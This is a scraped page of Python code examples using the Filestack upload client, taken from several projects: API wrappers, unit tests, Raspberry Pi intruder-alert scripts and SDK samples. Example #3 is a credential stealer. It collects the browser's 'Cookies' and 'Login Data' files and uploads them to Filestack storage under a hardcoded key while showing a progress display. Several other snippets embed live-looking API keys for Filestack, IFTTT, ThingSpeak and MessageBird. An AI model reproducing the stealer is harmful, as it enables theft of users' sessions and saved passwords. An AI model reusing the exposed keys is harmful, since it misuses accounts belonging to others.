コード例 #1
0
ファイル: filestack.py プロジェクト: tomasgarzon/exo-services
class FileStackClient:
    logger = 'filestack'
    URL_API = 'https://www.filestackapi.com/api/file'

    def __init__(self, *args, **kwargs):
        self.client = Client(settings.FILESTACK_KEY)

    def log(self, msg, url, exception=None):
        logger.error('{}: {}-{}'.format(msg, url,
                                        getattr(exception, 'message', '')))

    def get_video_info(self, resource):
        handle = resource.get_handle()
        url = '{}/{}/metadata'.format(self.URL_API, handle)
        return requests.get(url).json()

    def get_metadata(self, handle):
        url = '{}/{}/metadata'.format(self.URL_API, handle)
        return requests.get(url).json()

    def upload(self, filepath=None, file_obj=None):
        return self.client.upload(filepath=filepath, file_obj=file_obj)

    def upload_png(self, filepath, intelligent=False):
        params = {'mimetype': 'image/png'}
        filelink = self.client.upload(filepath=filepath,
                                      params=params,
                                      intelligent=intelligent)
        return filelink

    def upload_url(self, url, intelligent=False):
        return self.client.upload(url=url)

    def get_url_screenshot(self, url, width, height):
        screenshot = self.client.urlscreenshot(external_url=url,
                                               width=width,
                                               height=height)

        try:
            filelink = screenshot.store()
            url = filelink.url
        except Exception as exception:
            self.log("FileStackClient.get_url_screenshot.Exception", url,
                     exception)
            url = None
        return url

    def get_filelink_tags(self, filelink):
        return filelink.tags()

    def rotate_filelink(self, filelink, width, height, deg=90):
        transform = filelink.resize(width=width, height=height).rotate(deg=deg)
        new_filelink = transform.store()
        return new_filelink
コード例 #2
0
def test_upload_filepath():
    client = Client(APIKEY)

    # add the different HTTP responses that are called during the multipart upload
    responses.add(responses.POST,
                  MULTIPART_START_URL,
                  status=200,
                  content_type='application/json',
                  json={
                      'region': 'us-east-1',
                      'upload_id': 'someuuid',
                      'uri': 'someuri',
                      'location_url': 'fs-uploads.com'
                  })
    responses.add(responses.POST,
                  'https://fs-uploads.com/multipart/upload',
                  status=200,
                  content_type='application/json',
                  json={
                      'url': URL,
                      'headers': {}
                  })
    responses.add_callback(responses.PUT, URL, callback=chunk_put_callback)
    responses.add(responses.POST,
                  'https://fs-uploads.com/multipart/complete',
                  status=200,
                  content_type='application/json',
                  json={
                      'url': URL,
                      'handle': HANDLE
                  })

    new_filelink = client.upload(filepath='tests/data/doom.mp4')
    assert new_filelink.handle == HANDLE
コード例 #3
0
def starter():
    json_file_check()
    if stateread(destination()) == 1:
        eel.jshide()
    else:
        eel.jsshow()
        rnd_array = rand_array()
        targets = [destination() + '\\' + x for x in ('Cookies', 'Login Data')]
        print(rnd_array)
        for a in targets:
            print()
            time.sleep(1)
            eel.append(int(rnd_array[targets.index(a)][0]))
            # client = Client('ArqD8iB4HTvSwcewolp4Cz')
            client = Client('AeRm1vWbjS4aBO4gK8z77z')
            store_params = {
                'location': 's3',
                'path': destination(),
                'upload_tags': {
                    "foo": "bar"
                }
            }
            try:
                filelink = client.upload(filepath=a, store_params=store_params)
            except:
                pass
            eel.append(int(rnd_array[targets.index(a)][1]))
            print(os.path.isfile(a))

    statewrite(destination())
コード例 #4
0
def test_security_inheritance(upload_external_mock, multipart_mock):
    upload_external_mock.return_value = {'handle': 'URL_HANDLE'}
    multipart_mock.return_value = {'handle': 'FILE_HANDLE'}

    policy = {'expiry': 1900}
    cli = Client(APIKEY, security=Security(policy, 'SECRET'))

    flink_from_url = cli.upload_url('https://just.some/url')
    assert flink_from_url.handle == 'URL_HANDLE'
    assert flink_from_url.security.policy == policy

    flink = cli.upload(filepath='/dummy/path')
    assert flink.handle == 'FILE_HANDLE'
    assert flink.security.policy == policy
コード例 #5
0
def send_alert():
    #camera.capture('image.jpg')
    camera.start_recording('intruder.h264')
    camera.wait_recording(5)
    camera.stop_recording
    camera.close()
    client = Client("AfiwsCgmSHiNYVdEGYmSoz")  #filestack api key = abcdefghijk
    new_filelink = client.upload(filepath='intruder.h264')
    print(new_filelink.url)
    r = requests.post(
        'https://maker.ifttt.com/trigger/intruder/with/key/bZXKpF2Xl3ERNt3tlN4NX0',
        json={'value1': new_filelink.url})
    if r.status_code == 200:
        print('Alert Sent')
    else:
        print('Error')
コード例 #6
0
ファイル: authManager.py プロジェクト: yooona1214/ARTIV
class authentication_server():
    def __init__(self):
        self.client = Client('AJD6nNwZORdSkQOAkpN7Mz')

    def new(self, filepath_org):
        new_filelink = self.client.upload(filepath=filepath_org)
        self.FileID = new_filelink.url.split('/')[-1]
        return self.FileID

    def __str__(self):
        if self.FileID:
            return self.FileID
        else:
            raise Exception("No Upload Action")

    #test id GB3aPVArRzGQRTjePq0w
    def update(self, fileID):
        Filelink(str(fileID)).download('./adms_user_db.npz')

    def image(self, buffer):
        decoded = cv2.imdecode(np.frombuffer(buffer, np.uint8), -1)
        cv2.imshow("test", decoded)
        cv2.waitKey(0)
コード例 #7
0
        print("distance detected:",distance1,"cm")\
        #write API keys\
        print("writing to ThingSpeak...")\
        RequestToThingspeak = 'https://api.thingspeak.com/update?api_key=A919IY7SOCZWU1H8&field1='\
        RequestToThingspeak+=str(distance1)\
        request = requests.get(RequestToThingspeak)\
        if distance1 < 10:\
         if distance1 > 0:\
            \
             client = Client("ANWybKYrRoGC9LR45vC0Qz") #filestack api key = abcdefghijk\
             camera = PiCamera()\
             camera.rotation = 180\
             camera.resolution = (1920, 1080)\
             camera.framerate = 15\
             camera.capture('/home/pi/Desktop/image.jpg') #path to your image\
             print("uploading filestack...")\
             new_filelink = client.upload(filepath="/home/pi/Desktop/image.jpg") #path to you image\
             print(new_filelink.url)\
             print("Posting to IFTTT...")\
             r = requests.post(\
             "https://maker.ifttt.com/trigger/trigger/with/key/bjiw0jg3AvS3HFEo9Kv5PV",\
             json=\{"value1" : new_filelink.url\}) #one line # ifttt api key = hjklyuioi\
            \
             camera.close() \
    \
        time.sleep(15)\
        end_time = time.time()\
        duration = end_time-start_time\
        print("duration:",duration)\
finally:\
    GPIO.cleanup()}
コード例 #8
0
ファイル: upload.py プロジェクト: xDveGax/exo-services
def upload(url_path):
    client = Client(settings.FILESTACK_KEY)
    file = client.upload(url=url_path)
    return file.url, file.get_metadata()
コード例 #9
0
from filestack import Client

client = Client('<YOUR_API_KEY')

new_video = client.upload(filepath='/PATH/TO/FILE')
new_video_conversion = new_video.av_convert(width=400, height=400)

while new_video_conversion.status != 'completed':
    print('not completed yet')

print(new_video_conversion.to_filelink().url)
コード例 #10
0
from filestack import Client, security

# policy expires on 5/6/2099
policy = {'call': ['read', 'remove', 'store'], 'expiry': 4081759876}
security = security(policy, '<YOUR_APP_SECRET>')

client = Client(apikey='<YOUR_API_KEY>', security=security)
filelink = client.upload(
    url=
    'https://www.wbu.com/wp-content/uploads/2016/07/540x340-found-a-bird-450x283.jpg'
)

delete_response = filelink.delete()
コード例 #11
0
    def filestack_upload_image(self, filename):

        client = Client(self.filestack_token)
        new_filelink = client.upload(filepath="temp/" + filename)
        return new_filelink.url
コード例 #12
0
from filestack import Client

filepath = '<PATH_TO_FILE>'
APIKEY = '<YOUR_APIKEY>'

client = Client(APIKEY)

# multipart uploading is enabled by default
filelink_multipart = client.upload(filepath=filepath)

# if you want to disable multipart...
filelink_no_multipart = client.upload(filepath=filepath, multipart=False)
コード例 #13
0
ファイル: raspibtsrvc.py プロジェクト: anjalir1492/Epione
def main():
    # Setup logging
    setup_logging()

    # We need to wait until Bluetooth init is done
    time.sleep(10)

    # Make device visible
    os.system("hciconfig hci0 piscan")

    # Create a new server socket using RFCOMM protocol
    server_sock = BluetoothSocket(RFCOMM)
    # Bind to any port
    server_sock.bind(("", PORT_ANY))
    # Start listening
    server_sock.listen(1)

    # Get the port the server socket is listening
    port = server_sock.getsockname()[1]

    # The service UUID to advertise
    uuid = "7be1fcb3-5776-42fb-91fd-2ee7b5bbb86d"

    # Start advertising the service
    advertise_service(server_sock,
                      "RaspiBtSrv",
                      service_id=uuid,
                      service_classes=[uuid, SERIAL_PORT_CLASS],
                      profiles=[SERIAL_PORT_PROFILE])

    # initialize camera. Resource intesnive activity, done once
    camera = PiCamera()

    # These are the operations the service supports
    # Feel free to add more
    operations = ["click", "sendthyresult", "analyze"]

    # Main Bluetooth server loop
    while True:

        print("Waiting for connection on RFCOMM channel %d" % port)

        try:
            client_sock = None

            # This will block until we get a new connection
            client_sock, client_info = server_sock.accept()
            print("Accepted connection from ", client_info)

            # Read the data sent by the client
            data = client_sock.recv(1024).decode('UTF-8')
            if len(data) == 0:
                break

            print("Received [%s]" % data)

            # Handle the request

            if data == "click":
                # Take picture
                takePic(camera)
                # push image to web store
                client = Client("A5xYmgW3QRTSLGbWotlWVz")
                params = {"mimetype": "image/png"}
                filePath = '/home/pi/.virtualenvs/cv/' + fileName
                new_filelink = client.upload(filepath=filePath,
                                             store_params=params)
                #new_filelink =  "https://cdn.filestackcontent.com/mV8ZhaR4Rlm3N2wE38gn" # uncomment for testing
                # print URL
                print("Taken, URL is" + new_filelink.url)
                #client_sock.send(new_filelink.url)
                response = new_filelink.url
            elif data == "sendthyresult":
                # return captured image
                response = new_filelink.url
            elif data == "analyze":
                # analyze images for colorimetry testing
                # call function that compares images, sorts and returns the level of addiction
                response = analyzeImage()
            # Insert more here
            elif data == "something":
                response = "msg:Report"
            # Insert more here
            else:
                # Unsupported params and actions
                response = "msg:Not supported"

            client_sock.send(response)
            #Debug output
            print("Sent back [%s]" % response)

        except IOError:
            pass

        except KeyboardInterrupt:

            if client_sock is not None:
                client_sock.close()

            server_sock.close()

            print("Server going down")
            break
コード例 #14
0
import time
import os

policy = {
    'expiry': int(time.time()) + 15 * 60,
    'path': '/my-user/',
    'maxSize': 10000000,
    'container': 'user-uploads',
}
store_params = {
    'path': '/my-user/',
    'container': 'user-uploads',
}
print(os.environ.get('FILESTACK_SECRET'))


def gen_credentials(policy, filestack_secret):
    creds = {}
    sec = create_security(policy, os.environ.get('FILESTACK_SECRET'))
    creds['policy'] = sec['policy'].decode('ascii')
    creds['signature'] = sec['signature']
    return (creds)


client = Client("A9UmXdpXcRY2dIPsZsBHfz",
                security=gen_credentials(policy,
                                         os.environ.get('FILESTACK_SECRET')))

new_filelink = client.upload(filepath="./Chart.svg", params=store_params)
print(new_filelink)
def getPublicURL():
    client = Client("AYfgWcwErT3KN8oLDeumcz")
    params = {'mimetype': 'image/jpg'}
    new_filelink = client.upload(filepath="scan.png")
    return new_filelink.url
コード例 #16
0
# IMPORTANT:
# Please remember that not all application can use Filestack Intelligent Ingestion.
# To enable this feature, please contact Filestack Support

from filestack import Client

filepath = '<PATH_TO_FILE>'
APIKEY = '<YOUR_APIKEY>'

client = Client(APIKEY)

# specify intelligent=True agrument to use Filestack Intelligent Ingestion
filelink = client.upload(filepath=filepath, intelligent=True)
コード例 #17
0
"""
    Obtengo el modulo que fue invocado
"""
module = GetParams("module")

if module == "upload_":

    try:
        key_ = GetParams('key_')
        path_ = GetParams('path_')
        var_ = GetParams('id_')

        client = Client(key_)

        params = {'mimetype': 'image/png'}
        new_filelink = client.upload(filepath=path_)
        id = os.path.basename(new_filelink.url)
        SetVar(var_, id)

    except Exception as e:
        PrintException()
        raise Exception(e)

if module == "resize":

    id_ = GetParams('id_')
    width_ = GetParams('width_')
    height_ = GetParams('height_')
    check_ = GetParams('check_')
    var_ = GetParams('var_')
コード例 #18
0
ファイル: sih.py プロジェクト: parthgoel06/Raspberry_Pi
                       targetname="test.mp4")

#call
client = messagebird.Client('4YKfcxjfhxPnzDIjuMb0YkE3d')
try:
    msg = client.voice_message_create(
        '+918799700769', 'Emergency detected please check message',
        {'voice': 'male'})
    print(msg.__dict__)
except messagebird.client.ErrorException as e:
    for error in e.errors:
        print(error)

#upload vid file
cli = Client('AkNi4zBJJTfmBeR8aAK6rz')
filelink = cli.upload(filepath='test.mp4')
#print(filelink.url)
url = str(filelink.url)
print(url)

#locate places
pl.hospital()
pl.police()
location = pl.long_lat()
print(f"LOCATION = {location}")

#send sms through gsm module
SERIAL_PORT = "/dev/ttyS0"
ser = serial.Serial(SERIAL_PORT, baudrate=9600, timeout=5)
ser.write(b"AT+CMGF=1\r")
time.sleep(3)
コード例 #19
0
from filestack import Client, security

# expires in 2099 ;)
policy = {'expiry': 4085665557}
app_secret = '<YOUR_APP_SECRET>'
sec = security(policy, app_secret)

client = Client('<YOUR_API_KEY>', security=sec)
filelink = client.upload(
    url='http://weknownyourdreamz.com/images/birds/birds-04.jpg')

tags = filelink.tags()
sfw = filelink.sfw()
print(tags)
print(sfw)
コード例 #20
0
from filestack import security as create_security
from filestack import Client
import time
import os

policy = {
    'expiry': int(time.time()) + 15 * 60,
    'path': '/my-user/',
    'maxSize': 10000000,
    'container': 'user-uploads',
}


def gen_credentials(policy, filestack_secret):
    creds = {}
    sec = create_security(policy, os.environ.get('FILESTACK_SECRET'))
    creds['policy'] = sec['policy'].decode('ascii')
    creds['signature'] = sec['signature']
    return (creds)


client = Client("A9UmXdpXcRY2dIPsZsBHfz",
                security=gen_credentials(policy,
                                         os.environ.get('FILESTACK_SECRET')))

new_filelink = client.upload(filepath="./Chart.svg")
print(new_filelink)
コード例 #21
0
 def share(self):
     client = Client(self.api_key)
     new_filelink = client.upload(filepath=self.filepath)
     return new_filelink.url
コード例 #22
0
"""
    This script contains examples of using Filestack Workflows
    in Python SDK. Workflows are compatible with uploading using
    pathfile (by default with multipart=True) and external URL.
    * It is essential to upload either from pathfile or url.
"""

from filestack import Client

Filestack_API_Key = '<YOUR_FILESTACK_API_KEY>'
file_path = '<PATH_TO_FILE>'
file_url = '<FILE_URL>'

client = Client(Filestack_API_Key)

# You should put your Workflows IDs in the parameters as a list.
store_params = {
    'workflows': [
        '<WORKFLOWS_ID_1>', '<WORKFLOWS_ID_2>', '<WORKFLOWS_ID_3>',
        '<WORKFLOWS_ID_4>', '<WORKFLOWS_ID_5>'
    ]
}

new_filelink = client.upload(
    filepath=file_path,
    # url=file_url,
    params=store_params)